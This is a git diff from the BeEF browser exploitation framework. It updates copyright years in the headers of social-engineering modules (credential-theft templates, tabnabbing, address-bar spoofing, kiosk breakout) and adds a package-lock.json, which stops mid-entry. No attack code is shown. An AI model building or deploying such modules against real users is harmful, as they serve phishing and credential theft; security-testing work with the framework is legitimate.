100644 --- a/modules/social_engineering/lcamtuf_download/config.yaml +++ b/modules/social_engineering/lcamtuf_download/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/lcamtuf_download/module.rb b/modules/social_engineering/lcamtuf_download/module.rb index 866758a9b..955471834 100755 --- a/modules/social_engineering/lcamtuf_download/module.rb +++ b/modules/social_engineering/lcamtuf_download/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/pretty_theft/command.js b/modules/social_engineering/pretty_theft/command.js index 9146cda10..da5b9f3a1 100644 --- a/modules/social_engineering/pretty_theft/command.js +++ b/modules/social_engineering/pretty_theft/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/pretty_theft/config.yaml b/modules/social_engineering/pretty_theft/config.yaml index c624eccd1..c8ed731da 100644 --- a/modules/social_engineering/pretty_theft/config.yaml +++ b/modules/social_engineering/pretty_theft/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/pretty_theft/module.rb b/modules/social_engineering/pretty_theft/module.rb index 1f35dc845..176b23f12 100644 --- a/modules/social_engineering/pretty_theft/module.rb +++ b/modules/social_engineering/pretty_theft/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/replace_video_fake_plugin/command.js b/modules/social_engineering/replace_video_fake_plugin/command.js index 971209471..02f1f60e1 100644 --- a/modules/social_engineering/replace_video_fake_plugin/command.js +++ b/modules/social_engineering/replace_video_fake_plugin/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/replace_video_fake_plugin/config.yaml b/modules/social_engineering/replace_video_fake_plugin/config.yaml index f01c83291..d12ca4d48 100644 --- a/modules/social_engineering/replace_video_fake_plugin/config.yaml +++ b/modules/social_engineering/replace_video_fake_plugin/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/replace_video_fake_plugin/module.rb b/modules/social_engineering/replace_video_fake_plugin/module.rb index 9592f04c8..793ea7a0a 100644 --- a/modules/social_engineering/replace_video_fake_plugin/module.rb +++ b/modules/social_engineering/replace_video_fake_plugin/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/simple_hijacker/command.js b/modules/social_engineering/simple_hijacker/command.js index c11ace0dc..e07c0cb94 100644 --- a/modules/social_engineering/simple_hijacker/command.js +++ b/modules/social_engineering/simple_hijacker/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/simple_hijacker/config.yaml b/modules/social_engineering/simple_hijacker/config.yaml index ada887f34..8aca82a1c 100644 --- a/modules/social_engineering/simple_hijacker/config.yaml +++ b/modules/social_engineering/simple_hijacker/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/simple_hijacker/module.rb b/modules/social_engineering/simple_hijacker/module.rb index a0cb0a27b..467b99e22 100644 --- a/modules/social_engineering/simple_hijacker/module.rb +++ b/modules/social_engineering/simple_hijacker/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/simple_hijacker/templates/amazon.js b/modules/social_engineering/simple_hijacker/templates/amazon.js index 8321b8849..16260e3c8 100644 --- a/modules/social_engineering/simple_hijacker/templates/amazon.js +++ b/modules/social_engineering/simple_hijacker/templates/amazon.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js index 46c15754f..13b1d42d9 100644 --- a/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js +++ b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js index d39b5afa6..69dcd20fa 100644 --- a/modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js +++ b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/social_engineering/simple_hijacker/templates/confirmbox.js b/modules/social_engineering/simple_hijacker/templates/confirmbox.js index d76f7cc05..09c230d01 100644 --- a/modules/social_engineering/simple_hijacker/templates/confirmbox.js +++ b/modules/social_engineering/simple_hijacker/templates/confirmbox.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/social_engineering/simple_hijacker/templates/credential.js b/modules/social_engineering/simple_hijacker/templates/credential.js index ed16d1f24..134d59206 100644 --- a/modules/social_engineering/simple_hijacker/templates/credential.js +++ b/modules/social_engineering/simple_hijacker/templates/credential.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/social_engineering/sitekiosk_breakout/command.js b/modules/social_engineering/sitekiosk_breakout/command.js index 3c9cc1ef7..302ee3f72 100644 --- a/modules/social_engineering/sitekiosk_breakout/command.js +++ b/modules/social_engineering/sitekiosk_breakout/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/sitekiosk_breakout/config.yaml b/modules/social_engineering/sitekiosk_breakout/config.yaml index f4eeae251..d2870f164 100644 --- a/modules/social_engineering/sitekiosk_breakout/config.yaml +++ b/modules/social_engineering/sitekiosk_breakout/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/sitekiosk_breakout/module.rb b/modules/social_engineering/sitekiosk_breakout/module.rb index f6fc6806b..8903cd5bd 100644 --- a/modules/social_engineering/sitekiosk_breakout/module.rb +++ b/modules/social_engineering/sitekiosk_breakout/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/spoof_addressbar_data/command.js b/modules/social_engineering/spoof_addressbar_data/command.js index 0bbf0ad3f..0c3402f48 100644 --- a/modules/social_engineering/spoof_addressbar_data/command.js +++ b/modules/social_engineering/spoof_addressbar_data/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/spoof_addressbar_data/config.yaml b/modules/social_engineering/spoof_addressbar_data/config.yaml index 727250a5d..b61d3448b 100644 --- a/modules/social_engineering/spoof_addressbar_data/config.yaml +++ b/modules/social_engineering/spoof_addressbar_data/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/spoof_addressbar_data/module.rb b/modules/social_engineering/spoof_addressbar_data/module.rb index c75922c4b..a944f9670 100644 --- a/modules/social_engineering/spoof_addressbar_data/module.rb +++ b/modules/social_engineering/spoof_addressbar_data/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/tabnabbing/command.js b/modules/social_engineering/tabnabbing/command.js index 3ed0077ca..6c5363457 100644 --- a/modules/social_engineering/tabnabbing/command.js +++ b/modules/social_engineering/tabnabbing/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/tabnabbing/config.yaml b/modules/social_engineering/tabnabbing/config.yaml index f4e82aa14..7076da57f 100644 --- a/modules/social_engineering/tabnabbing/config.yaml +++ b/modules/social_engineering/tabnabbing/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/tabnabbing/module.rb b/modules/social_engineering/tabnabbing/module.rb index 89827f381..090c8c4cc 100644 --- a/modules/social_engineering/tabnabbing/module.rb +++ b/modules/social_engineering/tabnabbing/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/text_to_voice/command.js b/modules/social_engineering/text_to_voice/command.js index 60c461972..29e765284 100644 --- a/modules/social_engineering/text_to_voice/command.js +++ b/modules/social_engineering/text_to_voice/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/text_to_voice/config.yaml b/modules/social_engineering/text_to_voice/config.yaml index 5a67206e3..07a8dd41a 100644 --- a/modules/social_engineering/text_to_voice/config.yaml +++ b/modules/social_engineering/text_to_voice/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/text_to_voice/module.rb b/modules/social_engineering/text_to_voice/module.rb index 4dc791af3..16fbac182 100644 --- a/modules/social_engineering/text_to_voice/module.rb +++ b/modules/social_engineering/text_to_voice/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/ui_abuse_ie/command.js b/modules/social_engineering/ui_abuse_ie/command.js index 0056f3d81..b223b9cb4 100644 --- a/modules/social_engineering/ui_abuse_ie/command.js +++ b/modules/social_engineering/ui_abuse_ie/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/ui_abuse_ie/config.yaml b/modules/social_engineering/ui_abuse_ie/config.yaml index 59b48205d..6ea95046e 100644 --- a/modules/social_engineering/ui_abuse_ie/config.yaml +++ b/modules/social_engineering/ui_abuse_ie/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/ui_abuse_ie/module.rb b/modules/social_engineering/ui_abuse_ie/module.rb index a3c8a7308..39a9188d5 100644 --- a/modules/social_engineering/ui_abuse_ie/module.rb +++ b/modules/social_engineering/ui_abuse_ie/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 000000000..56ecd1694 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,750 @@ +{ + "name": "BeEF", + "version": "0.4.7.4-alpha-pre", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@babel/parser": { + "version": "7.7.7", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.7.7.tgz", + "integrity": "sha512-WtTZMZAZLbeymhkd/sEaPD8IQyGAhmuTuvTzLiCFM7iXiVdY0gc0IaI+cW0fh1BnSMbJSzXX6/fHllgHKwHhXw==" + }, + "ansi-escape-sequences": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-escape-sequences/-/ansi-escape-sequences-4.1.0.tgz", + "integrity": "sha512-dzW9kHxH011uBsidTXd14JXgzye/YLb2LzeKZ4bsgl/Knwx8AtbSFkkGxagdNOoh0DlqHCmfiEjWKBaqjOanVw==", + "requires": { + "array-back": "^3.0.1" + }, + "dependencies": { + "array-back": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-3.1.0.tgz", + "integrity": "sha512-TkuxA4UCOvxuDK6NZYXCalszEzj+TLszyASooky+i742l9TqsOdYCMJJupxRic61hwquNtppB3hgcuq9SVSH1Q==" + } + } + }, + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "array-back": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-4.0.1.tgz", + "integrity": "sha512-Z/JnaVEXv+A9xabHzN43FiiiWEE7gPCRXMrVmRm00tWbjZRul1iHm7ECzlyNq1p4a4ATXz+G9FJ3GqGOkOV3fg==" + }, + "balanced-match": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" + }, + "bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==" + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "cache-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/cache-point/-/cache-point-1.0.0.tgz", + "integrity": "sha512-ZqrZp9Hi5Uq7vfSGmNP2bUT/9DzZC2Y/GXjHB8rUJN1a+KLmbV05+vxHipNsg8+CSVgjcVVzLV8VZms6w8ZeRw==", + "requires": { + "array-back": "^4.0.0", + "fs-then-native": "^2.0.0", + "mkdirp2": "^1.0.4" + } + }, + "catharsis": { + "version": "0.8.11", + "resolved": "https://registry.npmjs.org/catharsis/-/catharsis-0.8.11.tgz", + "integrity": "sha512-a+xUyMV7hD1BrDQA/3iPV7oc+6W26BgVJO05PGEoatMyIuPScQKsde6i3YorWX1qs+AZjnJ18NqdKoCtKiNh1g==", + "requires": { + "lodash": "^4.17.14" + } + }, + "collect-all": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/collect-all/-/collect-all-1.0.3.tgz", + "integrity": "sha512-0y0rBgoX8IzIjBAUnO73SEtSb4Mhk3IoceWJq5zZSxb9mWORhWH8xLYo4EDSOE1jRBk1LhmfjqWFFt10h/+MEA==", + "requires": { + "stream-connect": "^1.0.2", + "stream-via": "^1.0.4" + } + }, + "command-line-args": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/command-line-args/-/command-line-args-5.1.1.tgz", + "integrity": "sha512-hL/eG8lrll1Qy1ezvkant+trihbGnaKaeEjj6Scyr3DN+RC7iQ5Rz84IeLERfAWDGo0HBSNAakczwgCilDXnWg==", + "requires": { + "array-back": "^3.0.1", + "find-replace": "^3.0.0", + "lodash.camelcase": "^4.3.0", + "typical": "^4.0.0" + }, + "dependencies": { + "array-back": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-3.1.0.tgz", + "integrity": "sha512-TkuxA4UCOvxuDK6NZYXCalszEzj+TLszyASooky+i742l9TqsOdYCMJJupxRic61hwquNtppB3hgcuq9SVSH1Q==" + }, + "typical": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/typical/-/typical-4.0.0.tgz", + "integrity": "sha512-VAH4IvQ7BDFYglMd7BPRDfLgxZZX4O4TFcRDA6EN5X7erNJJq+McIEp8np9aVtxrCJ6qx4GTYVfOWNjcqwZgRw==" + } + } + }, + "command-line-tool": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/command-line-tool/-/command-line-tool-0.8.0.tgz", + "integrity": "sha512-Xw18HVx/QzQV3Sc5k1vy3kgtOeGmsKIqwtFFoyjI4bbcpSgnw2CWVULvtakyw4s6fhyAdI6soQQhXc2OzJy62g==", + "requires": { + "ansi-escape-sequences": "^4.0.0", + "array-back": "^2.0.0", + "command-line-args": "^5.0.0", + "command-line-usage": "^4.1.0", + "typical": "^2.6.1" + }, + "dependencies": { + "array-back": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-2.0.0.tgz", + "integrity": "sha512-eJv4pLLufP3g5kcZry0j6WXpIbzYw9GUB4mVJZno9wfwiBxbizTnHCw3VJb07cBihbFX48Y7oSrW9y+gt4glyw==", + "requires": { + "typical": "^2.6.1" + } + } + } + }, + "command-line-usage": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/command-line-usage/-/command-line-usage-4.1.0.tgz", + "integrity": "sha512-MxS8Ad995KpdAC0Jopo/ovGIroV/m0KHwzKfXxKag6FHOkGsH8/lv5yjgablcRxCJJC0oJeUMuO/gmaq+Wq46g==", + "requires": { + "ansi-escape-sequences": "^4.0.0", + "array-back": "^2.0.0", + "table-layout": "^0.4.2", + "typical": "^2.6.1" + }, + "dependencies": { + "array-back": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-2.0.0.tgz", + "integrity": "sha512-eJv4pLLufP3g5kcZry0j6WXpIbzYw9GUB4mVJZno9wfwiBxbizTnHCw3VJb07cBihbFX48Y7oSrW9y+gt4glyw==", + "requires": { + "typical": "^2.6.1" + } + } + } + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "common-sequence": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/common-sequence/-/common-sequence-2.0.0.tgz", + "integrity": "sha512-f0QqPLpRTgMQn/pQIynf+SdE73Lw5Q1jn4hjirHLgH/NJ71TiHjXusV16BmOyuK5rRQ1W2f++II+TFZbQOh4hA==" + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + }, + "config-master": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/config-master/-/config-master-3.1.0.tgz", + "integrity": "sha1-ZnZjWQUFooO/JqSE1oSJ10xUhdo=", + "requires": { + "walk-back": "^2.0.1" + }, + "dependencies": { + "walk-back": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/walk-back/-/walk-back-2.0.1.tgz", + "integrity": "sha1-VU4qnYdPrEeoywBr9EwvDEmYoKQ=" + } + } + }, + "deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==" + }, + "dmd": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/dmd/-/dmd-4.0.6.tgz", + "integrity": "sha512-7ZYAnFQ6jGm4SICArwqNPylJ83PaOdPTAkds3Z/s1ueFqSc5ilJ2F0b7uP+35W1PUbemH++gn5/VlC3KwEgiHQ==", + "requires": { + "array-back": "^4.0.1", + "cache-point": "^1.0.0", + "common-sequence": "^2.0.0", + "file-set": "^3.0.0", + "handlebars": "^4.5.3", + "marked": "^0.7.0", + "object-get": "^2.1.0", + "reduce-flatten": "^3.0.0", + "reduce-unique": "^2.0.1", + "reduce-without": "^1.0.1", + "test-value": "^3.0.0", + "walk-back": "^4.0.0" + }, + "dependencies": { + "reduce-flatten": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/reduce-flatten/-/reduce-flatten-3.0.0.tgz", + "integrity": "sha512-eczl8wAYBxJ6Egl6I1ECIF+8z6sHu+KE7BzaEDZTpPXKXfy9SUDQlVYwkRcNTjJLC3Iakxbhss50KuT/R6SYfg==" + } + } + }, + "entities": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.2.tgz", + "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==" + }, + "escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==" + }, + "file-set": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/file-set/-/file-set-3.0.0.tgz", + "integrity": "sha512-B/SdeSIeRv7VlOgIjtH3dkxMI+tEy5m+OeCXfAUsirBoVoY+bGtsmvmmTFPm/G23TBY4RiTtjpcgePCfwXRjqA==", + "requires": { + "array-back": "^4.0.0", + "glob": "^7.1.5" + } + }, + "find-replace": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-replace/-/find-replace-3.0.0.tgz", + "integrity": "sha512-6Tb2myMioCAgv5kfvP5/PkZZ/ntTpVK39fHY7WkWBgvbeE+VHd/tZuZ4mrC+bxh4cfOZeYKVPaJIZtZXV7GNCQ==", + "requires": { + "array-back": "^3.0.1" + }, + "dependencies": { + "array-back": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-3.1.0.tgz", + "integrity": "sha512-TkuxA4UCOvxuDK6NZYXCalszEzj+TLszyASooky+i742l9TqsOdYCMJJupxRic61hwquNtppB3hgcuq9SVSH1Q==" + } + } + }, + "fs-then-native": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fs-then-native/-/fs-then-native-2.0.0.tgz", + "integrity": "sha1-GaEk2U2QwiyOBF8ujdbr6jbUjGc=" + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" + }, + "glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "graceful-fs": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.3.tgz", + "integrity": "sha512-a30VEBm4PEdx1dRB7MFK7BejejvCvBronbLjht+sHuGYj8PHs7M/5Z+rt5lw551vZ7yfTCj4Vuyy3mSJytDWRQ==" + }, + "handlebars": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.5.3.tgz", + "integrity": "sha512-3yPecJoJHK/4c6aZhSvxOyG4vJKDshV36VHp0iVCDVh7o9w2vwi3NSnL2MMPj3YdduqaBcu7cGbggJQM0br9xA==", + "requires": { + "neo-async": "^2.6.0", + "optimist": "^0.6.1", + "source-map": "^0.6.1", + "uglify-js": "^3.1.4" + } + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "js2xmlparser": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.0.tgz", + "integrity": "sha512-WuNgdZOXVmBk5kUPMcTcVUpbGRzLfNkv7+7APq7WiDihpXVKrgxo6wwRpRl9OQeEBgKCVk9mR7RbzrnNWC8oBw==", + "requires": { + "xmlcreate": "^2.0.0" + } + }, + "jsdoc": { + "version": "3.6.3", + "resolved": 